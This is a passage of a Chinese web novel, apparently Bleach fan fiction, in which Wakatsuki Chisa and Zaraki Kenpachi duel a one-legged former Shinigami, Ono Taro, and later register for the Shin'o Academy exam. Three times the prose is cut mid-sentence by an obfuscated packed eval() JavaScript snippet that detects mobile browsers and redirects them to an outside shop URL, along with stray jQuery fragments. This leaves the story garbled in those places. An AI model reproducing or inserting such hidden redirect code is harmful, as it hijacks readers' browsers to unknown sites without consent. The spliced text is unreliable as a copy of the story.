这一拳势大力沉,带起强劲的拳风,轰向她的胸口。 若月千纱上半身向后倒仰,弯成一座拱桥,双手撑地,使出一记兔子蹬腿,脚后跟正中男子的拳头。而后,她用力一蹬,在打乱男子身体平衡的同时,借反作用力加速向后翻了个跟头,趁机和他拉开距离。 “那是因为院子太小,施展不开手脚。有种跟我到外面去,我会让你好好见识一下我的厉害!” 她翻过一人高的围墙,单足落在院子外。 “好险!好几次右脚差点沾了地!” 落地后,若月千纱偷偷地抹了一把冷汗,瞪了一眼在一连串动作中习惯性舒展开来的右腿,恨不得找一根绳子把它折绑起来。 再没有比违背诺言导致的落败更丢人的了!若不是她一心二用反应快,她这会儿早就出局了。 她金鸡独立,摆出一副游刃有余的姿态,看着轻飘飘落地的男子,解开一直悬挂于腰间、外表破破烂烂宛如废铁的打刀:“接下来开始第二回合战斗。” 任打刀再怎么破烂,归根结底是由钢铁制成的。用它对付一个手无寸铁的人,旁人见了,都得道一声“卑鄙。” 然而,男子竟无动于衷,没有谴责她的无耻行径,只是变换姿势,似乎打算空手对白刃。 “说好了要公平对战,我不会耍什么卑劣手段。”若月千纱抽出和刀鞘一般破烂的打刀,把刀鞘扔向他,“接着。” 男子愣了一下,抬手接住了刀鞘。 刀鞘沉甸甸的,带着金属特有的冰冷触感,坚硬结实。 “这把打刀的刀身早就钝了,算起来和刀鞘差别不大。当然,它总归比刀鞘长那么一点,也更顺手一些。不过,除了它,你也没有其他武器吧?作为它的主人,就让我稍占点便宜呗。” 她坦诚了她的私心,反倒显得光明磊落。男子对她颇有些刮目相看,眼中的怒火平息了些许。 他瞥了眼她手中磨钝了锋刃的打刀,不由得向院里小屋扫去两眼。随后,他收回目光,握住鞘口的边缘位置,向她举起金属刀鞘:“来吧。” 钝刃和刀鞘在空中划过凌厉的轨迹,重重地撞击在一起,发出铿锵的金戈声。先是一声、两声,而后,金铁交戈声越发清脆细密,最后竟连成一片,让人听不清他们究竟交锋了多少次。 若月千纱越打越吃惊,自信心如同洋葱一般,被剥了一层又一层。 她的斩术现已达到中级阶段,和人用斩术对战时未逢敌手——更木剑八对斩术兴趣缺缺,斩术稀烂,能赢她靠的并非斩术——而眼前这人的斩术,却比她高明不止一筹。 她本以为自己斩术精湛,在他面前却是班门弄斧,贻笑大方。 他们之间的胜负,竟比之前更加悬殊。 “你的斩术比白打更强!?”她满脸惊愕,不禁脱口而出,“都强得这么离谱了,你还自称废人!?” “强?是啊,我原本也以为自己很强,结果……”男子记忆回溯,眼神一瞬间黯淡下来,语气落寞,“不过是井底之蛙。” 他看着眼前不知世界之大的无知女孩,心中的愠怒骤然消散一大半,顿觉意兴索然。 不妙,他没战意了! “别小看我,我还有绝招没使出来!”若月千纱不再藏藏掖掖,发动中级瞬步,瞬间绕到男子身后,刀锋对准他的喉咙,“你输……” 男子如同隐身了一般,化作一道幻影,在她的面前消失无踪。与此同时,她的喉咙一痛,伴随着刺骨的凉意,让她头皮发麻。 若月千纱不敢置信地低下头,发现她的刀鞘正抵在她的喉间。 “是你输了。”男子的声音从她身后响起,只要他加大力气,就能用刀鞘瞬间碾碎她的喉骨,“你的瞬步太慢了。” “怎么可能——” 瞬步可是她的大杀器!她至今没见其他人用过。她原以为它只是挂着基本技能的名头,其实是个隐藏技能,没几个人掌握…… “为什么这么惊讶?瞬步只是基本技能,人人都会……”男子见少女惊愕的表情不似有假,心中一动,手上一松,“难不成——” 有破绽! 她趁机伸手推开刀鞘,身体一偏,挣脱他的禁锢,摆脱这副性命被人拿捏在手上的弱者姿态,向外蹿出一段距离,转身看他:“人人都会?不可能!” 她至今只遇到他一个! 男子任她逃开,见她盯着自己,举起食指对准她,嘴里念道:“破道之四·白雷。” 一道手指粗细的雷光毫无预兆地从他的指尖闪现,以光速直射向她。 这是什么?魔术? 她的大脑还未反应过来,身体本能地往旁边一躲。 那道雷光擦过她的身体射向远方。 若月千纱头皮一麻——她的一缕发丝不小心蹭到那道雷光,有一道小小的雷光顺着发丝一路直上,让她感受到一丝轻微的麻痹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292347|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感——若这招中得结实,她恐怕将被电得全身发麻,失去反手之力,任人宰割。 后怕过后,她激动得震颤不已。 这世上竟有如此神奇的招式、如此强大的对手,真是让人兴奋! 男子看清少女对这一招纯然陌生的表情,最后一丝战意也不复存在。 他之前被少女激怒,冲动之下打算好好教训她一顿,交手时却发现少女的一招一式格外熟悉,让他回想起了从前,让心下一软,这才没有立即打败原以为是后辈的少女,转而配合她的节奏,只是用更强的实力让她知道什么叫做天高地厚。 谁料,少女竟不知晓鬼道,并非他的后辈,只是不知从哪里学会一些死神的基本技能。 他没有心情理会再去理会已经教训过一顿的没有干系的少女,恹恹地扔下一句:“你走吧。刀鞘暂借一下,我进屋了还你。” 若月千纱脸颊绯红,星星眼追问道:“刚才那招也是基本技能吗?叫什么名字?” 他的招式名称里包含数字,说明类似的招式不止一招。她日后也能掌握这种神秘莫测的招式吗? “你无需知道。” “告诉我呗!” 男子一声不吭,拄着刀鞘当拐杖,准备回院子。 更木剑八的声音突然插了进来:“千纱,你输了?” 若月千纱顺着他直勾勾的视线看到自己结结实实踩在地上的右脚。 遍体鳞伤的疼痛,她能以毅力来克服;刀鞘点到为止的割喉,她可以用“没有失去战斗力不算输”来狡辩;男子的手段深不可测,她也能怀抱敬畏之心,小心谨慎地再和他缠斗三百回合……但是,她的脚落地了。 她动了动右脚,脚下传来坚实的触感。 不知何时,她一时失神,习惯性地用双脚支撑身体,右脚便自然而然地落了地。 这是毋庸置疑的败因,不容耍赖。 她还没打够呢!对方才刚出大招啊! 可是—— “自己定下的战斗规则,无论如何都不能反悔啊。”若月千纱掩不住一脸的遗憾,沉痛地点了点头,“没错,我输了。” “那就轮到我了!废人大叔,别走,和我战上一场!” 更木剑八像猎豹一般,撒开双腿,向男子飞奔而去。 若月千纱羡慕地看着他:“真好,你没有胡乱许诺,不用像我这样自缚手脚,以致于使不出全力,打得不够尽兴,输得太快。我也是傻,自信心过剩。他那么强,哪里需要我多此一举让他一脚?不对,为了公平起见,他反倒该再让我一只手才对……” 男子没理会身后个头只及他腰间的小鬼,径自推开院子大门。 “废人大叔,快转过来和我打!我要踢你后腰了!” 更木剑八飞起一脚,直踹男子后腰。 “喂,大叔,别小看我家剑八啊!他可比我强多了!不认真接招的话,待会儿输了,你可别找借口,说他不讲武德从背后偷袭!我家剑八从不趁人之危,他可是提前打过招呼了啊!” 在更木剑八的脚即将踢中目标前,男子不疾不徐地转过身体,竖起右臂,用手臂格挡住了那有力的一踢。 超乎想象的巨力从手臂传递到男子的身躯,撼动了他坚如磐石的下盘,让他险些飞了出去。 男子顺着力道往旁边跳开一步,卸去那股劲力。他感受着小臂上短暂的麻痹感,脸色微变。 若月千纱见状,不由得挺直了胸膛,露出自豪的微笑:“我都说了嘛,我家剑八超厉害的!” 29.第二十九章 更木剑八气势凌人的一踢踢碎了男子的轻视之心。他注视着眼前蕴藏着恐怖力量的小小身躯,握紧了手中的刀鞘。 “哟西,终于肯正眼看我了。废人大叔,别像刚才那样不爽快,直接拿出你的真本事来吧!我上了!” 更木剑八的拳头击碎了空气,裹挟着雷霆万钧之势,呼啸着直捣男子的胸口。 男子不敢托大,发动瞬步躲过这一拳,如法炮制,出现在更木剑八身后。 更木剑八宛如后脑勺长了眼睛,拳势一收,身体一扭,顺势来了个侧踢腿,踢向男子的喉咙。 更木剑八的反应速度超越了男子的预测,他愣了一下,错过再次发动瞬步的时机。他不敢用自己肌肉虬结的手臂架住那只看似瘦削的小短腿,匆忙之间只能稳固下盘,挥动刀鞘护住喉咙。 只听一声令人牙酸的怪响,更木剑八的小脚丫子踢中了金属刀鞘,在它的表面上留下浅浅的痕迹。 男子身体晃了晃,垂下被震得发疼的双手,见更木剑八面不改色地收回脚,心中的忌惮如野草般肆意蔓延。 这小鬼棘手得很。 在矮他几个脑袋的小孩面前,他重拾起几分往日与人对战的心态,挺直腰杆,肃容道:“小野太郎。” “更木剑八。” 两人默契地交换了名字,拿出所有实力,放开手脚战成一团。 退到一旁观战的若月千纱鼓起了腮帮子,气得牙痒痒:“只和剑八通报姓名,你什么意思啊喂!瞧不上我么!混蛋!” 气归气,但她理解男子……不,小野太郎的做法。 这个世界就是这么现实,强者高人一等。她没有展现出让他折服的实力,无怪乎他不愿自报家门。 “可恶,我才没那么弱呢,都怪我之前嘴欠,这条右腿封印了我一大半的实力……”她的视线扫到小野太郎空荡荡的右腿,声音顿了一下,“罢了,他也一样。总而言之,我就是比他弱,这是不争的事实。” 承认失败是一回事,但不顺的气还是得出一出的。 小野太郎骨子里是个温柔的人。倘若有人胆敢像她之前这般对她那么嘴毒,她早就把对方的四肢掰折了,哪可能只打断她两三根骨头就了事?由此可见,就算小野太郎获胜,也不太可能向更木剑八下死手,她可以安心地袖手旁观。 若月千纱在一旁为更木剑八打气鼓劲,摇旗呐喊:“剑八加油!把他打倒!揍晕!让他说不出晦气话!” 经过之前一番较量,她大致推测,小野太郎的综合战斗力确实要在更木剑八之上。但是,胜负无法单纯根据表面上的数值高低进行断定,战局中的任意一项因素都有可能影响最终结果。两人在不同方面各有优劣,谁胜谁负,依然是个未知数。 不过,若月千纱坚信,更木剑八一定能在这场战斗中凯旋。 她家剑八个子虽小,肉身却强到爆表,个性顽强,还是个得天独厚的战斗天才呢!他曾以一己之力,一度让拥有金手指、不断升级的她陷入自闭状态。 不是她自吹,战斗次数一多,得到足够多的样本作为参照物进行对比,她才知道自己的战斗天赋其实不低,撇去金手指加成,也算中上,堪堪挤进一流水平。 然而,和更木剑八一对比,这等天赋轻易被比成渣渣。 早些年,她还能仗着系统压他一个头;但自从灵力觉醒后,他们的实力差距越来越小,很快,她便被他甩到了身后。虽有系统奖励偶尔掉落,让她不至于被甩开太远,但她也只能无望地追赶他的背影。 在意识到自己无论如何都追赶不上更木剑八时,她沮丧了很长一段时间,才看开这个事实,转变心态,和自己达成和解。世上总有些天资超凡的不世之材,更木剑八恰巧是其中一个,而她不是。 她亲眼看着更木剑八一步步成长起来,比谁都了解更木剑八。她对他抱持的信心并不盲目,而是基于现实日积月累而成的。 因此,她没有误判局势。 和若月千纱相反,论肉身力量、身体灵活度、反应速度、战斗直觉,更木剑八都比小野太郎要强。小野太郎能胜过他的,居然只有战斗技巧和层出不穷的招式。而这两项优势,又逐渐被更木剑八不放弃的韧性和顽强的意志强行扯平。 更木剑八遇强则强,越战越勇。 他和若月千纱时常对练,斩术和瞬步对他来说司空见惯。虽然小野太郎的技巧比若月千纱高明,但万变不离其宗,仍有迹可循,他的身体很快便适应了高一阶的强度。 至于鬼道,更木剑八确实不曾接触过,但它有极大的破绽——它需要吟唱才能发动。威力小的鬼道,他用身体硬抗几发后便找到了破解方式,而威力大的鬼道吟唱词太长,反倒让他有充裕的时间捕捉时机进行应对。 小野太郎没有一击制胜的必杀技,两人展开拉锯战,战局被不断拖长。随着时间的流逝,局势越来越明朗,胜利一点点向更木剑八倾斜。 更木剑八把“后生可畏”、“以下克上”两个词义践行得淋漓尽致,百折不挠地和小野太郎大战几百回合,最终击败了他。 小野太郎跌坐在地上,手指紧扣进断腿处萎缩的肌肉里,眼眸里因战斗点燃的光芒再次黯淡下来,苦涩道:“我果然成为了废人。” 小鬼虽强,却强得有限。若他右腿健在,能发挥出全部实力,怎会输给这个只有白打技能强悍的结实小鬼?要知道,他可是正正经经从真央灵术院走出来的优秀毕业生、任职于十一番队的下级席官啊! 他狠狠咬牙,用力地捶了捶断腿。 都怪这只截断的右腿,它硬生生废掉了他大半的实力,害他沦为废人! 要不是这条断腿、要不是这条断腿—— “我说啊,在我这个手下败将面前说自己是废人,听起来像在拐弯抹角骂我废人不如,超过分耶,让我很想趁机报复你一下。以你现在的脱力状态,恐怕只有挨揍的份吧。”若月千纱蹲在小野太郎面前,故意挥了挥有力的拳头,而后露出大大的笑容,“不过,我决定宽宏大量地原谅你。毕竟,你让我见识到了井外的世界,剑八也打得很痛快呐。” 小野太郎对她的话充耳不闻。 “怎么,还在介意你那只断腿?你该不会还没发现自己的败因吧?你会输给剑八,最大的原因可不是它啊。” 小野太郎终于肯抬头看她,未经管理的表情令人一目了然。 “喂,你记得自己最后一次战斗在什么时候吗?最后一次训练呢?身手竟生疏到那种地步。我让了你一条腿,在不利情况下竟然还能在你手下撑那么久,你不会以为只是因为自己手下留情吧?要不是我和你先打了一架,给了你热身的机会,你早就输给剑八了。可惜,那点活动量依然不够。势均力敌的战斗中,细微的不协调足够致命。若你没有颓废成现在这副德行,剑八哪里能扳回弱势,险胜于你?所以说,不要什么都怪到残废上。你会输,不是因为你是废人,纯粹是因为你是窝囊废啊!懂得什么叫身残志坚吗?多少人残废了都活得积极向上呢! “哎呀,生气了?被人说成窝囊废觉得不高兴?抱歉抱歉,忘了照顾你那颗伤春悲秋的小心脏,我这人就是口直心快, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318307|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总喜欢说大实话。从尸山血海里爬出来的人没那么多细腻心思,你就见谅一下吧? “对了,我得额外感谢你一下。多亏有你,我对某些存在不再抱持那么强烈的敬畏感了,也敢去某个地方闯一闯了。是你让我知道,被神化的死神其实和我们普通人一样,同样有七情六欲,窝囊起来连普通人都不如。 “——对吧,少了一条腿后就一蹶不振的死神大人?” 若月千纱吐露出中途发现的小秘密后,绷紧身体,提高警惕,戒备眼前之人,以防他愤起攻击。 常识告诉她,人愤怒起来是会爆发小宇宙的,况且对方还是深不可测的死神。肾上腺素可不管他脱不脱力,她得小心小野太郎的含愤一击。 谁料,小野太郎的神态千变万化,最终却归于心死。 “……别这么叫我,我早就不是死神了。你们已经达成目的,可以走了吧?我累了,别再来烦我。” 他用尽最后一点力气,把刀鞘抛到若月千纱脚下,竟不顾一丝脸面,手脚并用往院子里爬去,全身心释放出同一个信号——我只想离你们远一点。 看他破罐子破摔的行为,若月千纱全身一个脱力,好险没栽倒在地。 导演,这剧本不对! 按照她脑海里的常识套路,小野太郎在被她激怒后,应当燃起斗志,一改之前的颓废样,大发神威,而后被他们百折不挠地打倒,被他们坚持不懈的精神打动,幡然醒悟,整饬一番仪表后变身大帅哥,加入他们的队伍,成为他们的伙伴,从此无怨无悔地陪他们一起升级打怪,带他们走上人生巅峰! 然而,事情按剧本发展到一半时,就像脱了轨的火车般,导向了不同的结局——小野太郎被更木剑八刺激得更颓丧了! 怕他沉湎于失败之中,若月千纱不惜下了一剂猛药,想用毒舌激起他的自尊心,没想到他非但不为所动,还彻底摊成了一滩烂泥! 若月千纱哭丧着一张脸:“……我就知道常识不可信!剑八,我们的导航仪、百科全书、陪练兼打手没了!” 更木剑八脑袋上冒出许多个小问号,但他一向不求甚解:“啰嗦完了?那就走吧,明天再来。” “明天再来?” “他的实力很强,我想多和他战斗几次。” “要是可以,我也想逮着这只羊把毛薅光。可惜,看他那个模样,应该没下一次对战机会了。剑八,和他打很过瘾吧?” “嗯!” “那我们就去他来时的地方吧,那里遍地都是这个等级的高手。只要我们能保住小命,每天都能像今天这样,尽情地享受战斗的乐趣!” “好!我们去——那是什么地方?” “走嘞!出发——去瀞灵廷!” “哦!” 若月千纱背对着死神居所走了几步,突然想起什么,倒退回去,把院门踹得咚咚作响,摇摇欲坠:“赢了我的家伙这么废,我很不爽啊!给我振作起来啊混蛋!喂!死神大人!小野太郎!窝囊废!给我好好听着!这世上有一种名为“义肢”的玩意儿,我之前见过几个残疾人在用,你应该也见过吧?为什么不用?你是嫌弃它中看不中用,徒有其形不具其神,无法真正替代断腿让你活动自如,反倒是个累赘吗?目前确实如此,但你们死神不是能凭空生火放电打雷,和无中生有的神明一样神奇厉害吗?为什么不在义肢上动动脑筋,开发它的功能,让它和肉身无异?说不定它能变得比原装腿更好用呢!” 发泄一通后,她神清气爽地扭过头:“剑八,久等……啊,你怎么先走了!等等我!” 30.第三十章 瀞灵廷位于尸魂界正中央,杀气石建造的巨大城墙如同天堑,将它与1区泾渭分明地隔离开来。 若月千纱站在1区最高的建筑上极目远眺,远处那片高耸的城墙遮挡住她的视线,她只能看到瀞灵廷里一些从城墙上方延伸而出的部分建筑,雄伟壮观,气势磅礴。 仅这管中窥豹的惊鸿一瞥,她便知晓,无论1区有多繁荣昌盛,依然和瀞灵廷有着天壤之别。 不愧是死神和贵族的居所,就是那么的与众不同! 她抬起右手,食指直指那道巍峨的城墙,感慨万千:“剑八,看,那里就是我们旅途的终点!耗费几年时间,我们终于要抵达彼岸了!” 自几年前与小野太郎一战后,他们定下了明确的目标,不再散漫地四处漂泊,径直向瀞灵廷出发。 原本以他们的脚程,日夜兼程,想要跨越区区几十个地区最多只需一年。奈何,旅途漫长,他们都是穷光蛋,囊中羞涩,为了食物补给,不得不腾出一些时间赚路上盘缠。 此外,他们每隔几天便手痒难耐,不得不耽搁一些时间找找对手过过瘾。再加上每日的锻炼时间、意外卷入风波的额外处理时间……零零星星的事情加在一起,让他们用几年的时间才走完一年的路程。 “厉害的家伙都在里面?” “对,那里面有无数比小野太郎更厉害的家伙。哦,对了,你一般记不住别人的名字。小野太郎就是几年前和我们打过一架的那个废人大叔死神,你还记得他吗?” “记得。他是我这辈子遇到的最强的对手。” 比他更强的人吗? 更木剑八斗志昂扬,拔腿就往楼下冲。 “哎,别急啊。你没看到吗?瀞灵廷被巨大的城墙包围起来了。据我所知,想安全进入瀞灵廷,必须通过东、西、南、北四道门中的任意一道门。不过,每个城门都有门卫把守,我们这种平民不被允许进入呢。” “我们去打倒门卫,硬闯进门!” “好想法!可惜,即使你打得倒门卫,也进不了门,城门一般关着。除非我们拥有和门卫一样的神力,能硬生生将那——么大、那——么重的城门硬生生抬起来,否则是进不去的。你的力气确实很大,但没大到那个地步呢。” “那就把城门打穿!” “很遗憾,城门和墙壁都是用杀气石建造而成的,坚硬无比,又能阻断灵力。光凭你的肉身力量,不可能打破那么厚重的城门。哦,也别想从外面翻过墙壁,城墙上方有杀气石释放的分解灵力的波动形成的球形保护罩,我们没办法穿过去。” 更木剑八绞尽脑汁,提出一个个进门办法,却被若月千纱逐个否决。 她看着他难得动脑筋的费劲模样,在一旁捂着嘴偷笑,肩膀抖个不停。 就在这时,一道眼风扫过来,直勾勾地停在她脸上。 “你知道进去的办法。” “对,我知道。确实有一种办法,可以让我们毫不费劲地进入瀞灵廷。”若月千纱放下手,不再掩饰自己的笑意,眉眼弯弯,“剑八,我们去上学吧!” 更木剑八一脸懵:“啊?” “真央灵术院的大门随时对外敞开,不论出身,只要通过考试就能入学。它就在瀞灵廷里面哦!” “啊?” “我们去报名考试吧!只要通过考试,就能不费吹灰之力进入瀞灵廷!” 更木剑八宕机的脑袋终于运转起来。他脸色骤变,全身抖了抖,下意识远离若月千纱,无比抗拒地发出一声咆哮:“我不要去上学!” 儿时关于学习的心理阴影还残留在他心中,不曾散去。听到“上学”二字,无数声音如同紧箍咒般在他脑海中反复回放,嗡嗡作响,让他头疼欲裂。 若月千纱怜爱地看着他,温声安慰道:“别怕,学习真的不是那么恐怖的事情。我和你道歉过很多次啦,以前是我不对,用错了教育方法,才让你留下不好的印象。学校里的老师和我不一样,不会强硬地让你从早到晚死记硬背。” 更木剑八不信:“骗人!” “真的没骗你。你想想看,当初我在78区重学语言时,老师教导我的方法和我教导你的方法就不一样吧?” 更木剑八理直气壮道:“我不记得了。” 当时,他对学习这件事深恶痛绝,纵然和他们共处一室,心思却不在他们身上,只专注于锻炼。 不过,在他隐隐约约的记忆里,那两人似乎确实没有将一个词汇翻过来倒过去地重复百八十遍,否则他早就忍受不了待在他们身边了吧。 若月千纱见他的神情略有些软化,趁热打铁道:“入学后,如果你实在不想上学了,我们就退学呗,主动权掌握在我们手上。在那段期间内,我们总能找到几个高手约个战吧?强敌难寻,怎么样,要不要和我去真央灵术院走一遭?” 增加一个可以退学的自由选择后,更木剑八心动了:“好。” “哟西,那就这么定了!”若月千纱把手搭在更木剑八肩上,揽住他的脖子,“入学后,你……” “嗯?” “没什么。”她把后半截话吞回肚子里,笑了笑,“我们去西街区吧。我打听过,真央灵术院的报名点在那里。我们运气不错,再过两个半月正好就是报名日了,我们提早去那里等吧。” 这几十年来,他们四处漂泊,居无定所,她家崽崽眼里又只看得到战斗对手,始终不曾交过一个亲近的朋友。 她没有把他绑在身边的想法,不免有些操心,想要拓宽他的世界,希望他在入学后能结识一两个谈得来的朋友。 不过,交友这种事情要看缘分,还是顺其自然吧。 更木剑八点了点头,往外走去。 “错了错了,右边才是西边。往东边走的话,我们得绕大半个1区才能走到西街区。” 更木剑八矫正方向,拐向西方。 他们走啊走啊走…… “快看,剑八,你有没有觉得这栋建筑挺眼熟的?我们绕一圈又回来啦!你试着带路那么多次,还不肯死心吗?乖乖承认自己是路痴吧。” “我不是路痴!” 若月千纱无所谓地耸了耸肩,摊手:“行吧,由你。反正时间充裕得很,给你两个月时间随便浪,剩下的时间也足够我们在报名截止日前赶到报名点啦。再说了,我还有瞬步这一赶路绝技。” 在她说话间,一杆无形的旗帜竖了起来,但她浑然不觉。 一个多月后,真央灵术院报名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352734|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地点。 两道人影从白道门前狂奔而过,卷起无数烟尘,在准备打道回府的真央灵术院报名负责人面前来了个急刹车。 “呼呼呼……呼呼……呼……终于……呼……终于赶上……呼……报名……呼……截止日了,我们……呼……我们要报名!” 报名负责人下意识一个战术后仰,和他们拉开距离。他定睛一看,发现面前站着一个少女和一个男孩。男孩状态还算不错,少女则满头大汗,面色潮红,嘴唇煞白,一副长时间剧烈运动后的虚脱模样。 若月千纱跑到腿软,颤巍巍地向抱着一叠报名表的负责人伸出手:“请……呼……请给我两张报名表!” “啊,哦……”报名负责人愣愣地抽出两张报名表,刚要递过去,猛地醒过神来,抽回手,“不对,释放灵力球给我看。这是报名参加入学考试的最低条件。” 真央灵术院是死神培育机构,有最基础的入学门槛。他的职责便是把不具备基本资格的人直接拒之门外,为考官减少不必要的负担。 若月千纱傻眼了:“释放灵力球?” 她……她为了赶上报名时间,连续几日夜以继日地赶路,使用瞬步耗尽灵力后就靠双腿跑步,灵力稍微恢复一点就发动瞬步,循环往复。之前,她刚挥霍完体内灵力,灵力池干涸得跟枯井似的,挤不出涓滴用来释放灵力球。 她不会直接倒在入学第一关上吧? “不知道怎么释放灵力球吗?我可以教你。方法很简单,只要你具备入学资格,很容易就能学会……” 就是这个! 若月千纱眼睛一亮。 释放灵力球需要的灵力很少,只需要一丁点时间,她就能恢复过来。她要假装成笨蛋来争取恢复灵力的时间! 她露出感激的微笑:“对,我……”不会,请教我。 话音未落,一旁的更木剑八利索地伸出食指,指间凝聚出一团灵力。 初时,那团灵力如同玻璃珠大小。转瞬,它便膨胀开来,形如乒乓球、网球、棒球……直至篮球大小,依然没有停止变大的趋势。 他在瞬步上没下过多少工夫,技能掌握不纯熟,又兼之是个路痴,若月千纱压根不敢让他用瞬步以免反向冲刺,故而他身上的灵力十分充沛。 “够了够了,你合格了。小家伙,你的天赋不错。”负责人赞许地点了点头,向更木剑八递出一张纸,“这是你的报名表,简单填一下自己的信息。” 这小子又拆她台!她的计划碎成渣了啊! 若月千纱捂住脸,恨不得冲更木剑八的额头来一记超级爆栗。 “轮到你了。” 负责人见有好苗子报名,心情颇为舒坦,笑眯眯地转向若月千纱,看向她的眼里多了几分期待。 这回,他绝口不提教她释放灵力球的方法了。 他们二人结伴而来,目标就是报考真央灵术院,小的那个都会释放灵力球了,大的那个怎么可能不会? 若月千纱心里汗如雨下。 怎么办,她要实话实说吗?这人现在对她的期望值好像很高,他会相信她说的话,耐心地等到她恢复灵力吗?还是当她在耍自己,直接一走了之?她可没有证明自己耗尽灵力的证据啊! 31.第三十一章 “咳咳咳……不好意思……咳咳咳……请问您……咳咳咳……可以给我一点水吗?我……咳咳咳……有点喘不上气……咳咳咳……暂时使不上灵力……咳咳咳……请让我缓一缓……” 若月千纱施展拖字诀,摆出一副喉咙干渴、快断气的柔弱模样向报名负责人讨水。 她模样周正,语气礼貌,楚楚可怜的模样颇能引发旁人的同理心。负责人对她的潜力又有所期待,便不吝于向她施与些许好意,递出一个水杯:“这是我的水杯,不嫌弃的话就用吧。” “谢……咳咳……谢谢……” 若月千纱感恩戴德地双手接过水杯,拧开盖子,极其淑女地一小口一小口抿着杯子里的水。她容貌甜美,举止间柔美优雅,引人侧目。 美女饮水图分外养眼,负责人却没有看她,到一旁指导更木剑八填写报名表。 报名表上只需要填写几项简单的个人信息,没一会儿,他便收回了报名表,回到若月千纱身旁。 美人计不管用,吸引不了他的目光,拖延不了时间。而杯子里的水就那么些,太磨蹭反倒容易引起反作用。 若月千纱感受了一下身体里新生的灵力多寡,眼珠子一转,找负责人搭话。 “谢谢您的水。”她把水杯还回去,兴致勃勃地发出一连串疑问,“请问入学考试考核哪些项目?以我弟弟的灵力,有没有希望入学?他年纪小,学校有入学年龄限制吗?学校是几年制的,能不能提早毕业?如果毕业考核不过关,会不会被退学?毕业后包分配工作吗?能不能直接加入护廷十三队?可不可以自己选择想要进入的番队……” 负责人刚开始还很有耐心,挑了几个能回答的问题逐一进行回答。然而,少女的问题似乎无穷无尽。他耐心渐消,脸上的笑容逐渐消失。 若月千纱见状,再次探查体内灵力情况,大致估算了一下,见好就收,露出歉意的笑容:“哎呀,不好意思,我有点兴奋,好像耽误了您不少时间。谢谢您的耐心解惑,我这就释放灵力球。” 她竖起食指,拼命压榨体内不多的灵力。 在负责人期待的凝视下,她的指尖处凝聚出一小团灵力球。 那团备受关注的灵力球约玻璃珠大小,颜色黯淡,形状也有些不稳,如风中摇曳的残烛,颤巍巍地抖动着。坚持了没几秒钟,它便消散无踪。 负责人盯着她葱白如玉的食指看了几秒,脸色一肃,面无表情地抽出一张报名表:“填吧。” 灵力强弱和灵压强弱成正比,而灵压弱的人和死神无缘。她竭尽全力才释放出这么点灵力,可见其本身灵压不值一提,绝对会在考试中淘汰。他觉得自己刚才是在浪费表情和时间。 勉强通关的少女才不管他如何看待自己,喜滋滋地填好报名表交还给他。 负责人收好两张报名表,告诉他们具体的考试时间,便扬长而去。 若月千纱目送他离开后,握拳,往更木剑八脑袋上敲了一记爆栗。 “看你干的好事,我差点报名失败了!” 更木剑八的脑袋硬如钢铁,若月千纱的拳头对他来说不痒不痛。 他晃了晃脑袋:“记错报名时间的人是你。” “我指的不是那个……”他的话让若月千纱回想起之前的大乌龙,心里直抽抽,不禁咬牙切齿,“不是我记错时间好么,都怪我当初打听消息时问错了人!谁知道那人会随口胡诌出一个错误日期!也不知道他是记错了还是故意的……要不是前几天吃饭时恰巧听到有人在聊这件事,我们就错过报名时间了!” 她把拳头捏得咔嚓作响。 为了赶上报名时间,他们连日夺命狂奔,导致她灵力耗尽,差点报名不成,被人扫地出门!若非她记不清当初忽悠她的人长什么模样,她这会儿非找上门痛扁对方一顿不可! 揍了更木剑八一拳后,这件事算翻篇了。两人找了间民宿落脚,养精蓄锐了几日。 在真央灵术院的入学考试日,两人精神抖擞地前往考场。 吸取之前的教训,他们提早出了门,在距离考试时间约一个小时左右便到达了考场。 但是,他们来得不算太早。 当他们抵达考场时,偌大的考场内早已聚集一大波考生。从外表上看,大多考生的年龄区间集中在12-20岁左右,少有这个范围之外的。 若月千纱扫视周围一圈,没有看到和更木剑八年龄相若的考生。在一众考生之中,他的年龄断层的小。 比其他人至少矮一个脑袋的更木剑八格外惹眼,招惹来无数各异的目光。好奇、惊叹、不屑、羡慕、揣测……不一而足。 更木剑八的身体紧绷了一下,转瞬放松。盯着他的视线虽多却弱,无法给予他足够的威胁,刺激不起他的警惕心。 他扫视四周一眼,好战之心波澜不惊,便一脸兴致缺缺地等考试开始。 等待考试的时间格外漫长,令人焦躁不已。考生们按捺不住心中的躁动感,各自找感兴趣的对象攀谈起来,三五成群地聚在一起。 更木剑八像磁石一般,吸引来好几个搭讪者。 “小弟弟,你是哪个区的?” “这里不是你这种乳臭未干的小子能来的地方,等毛长齐后再来吧!” 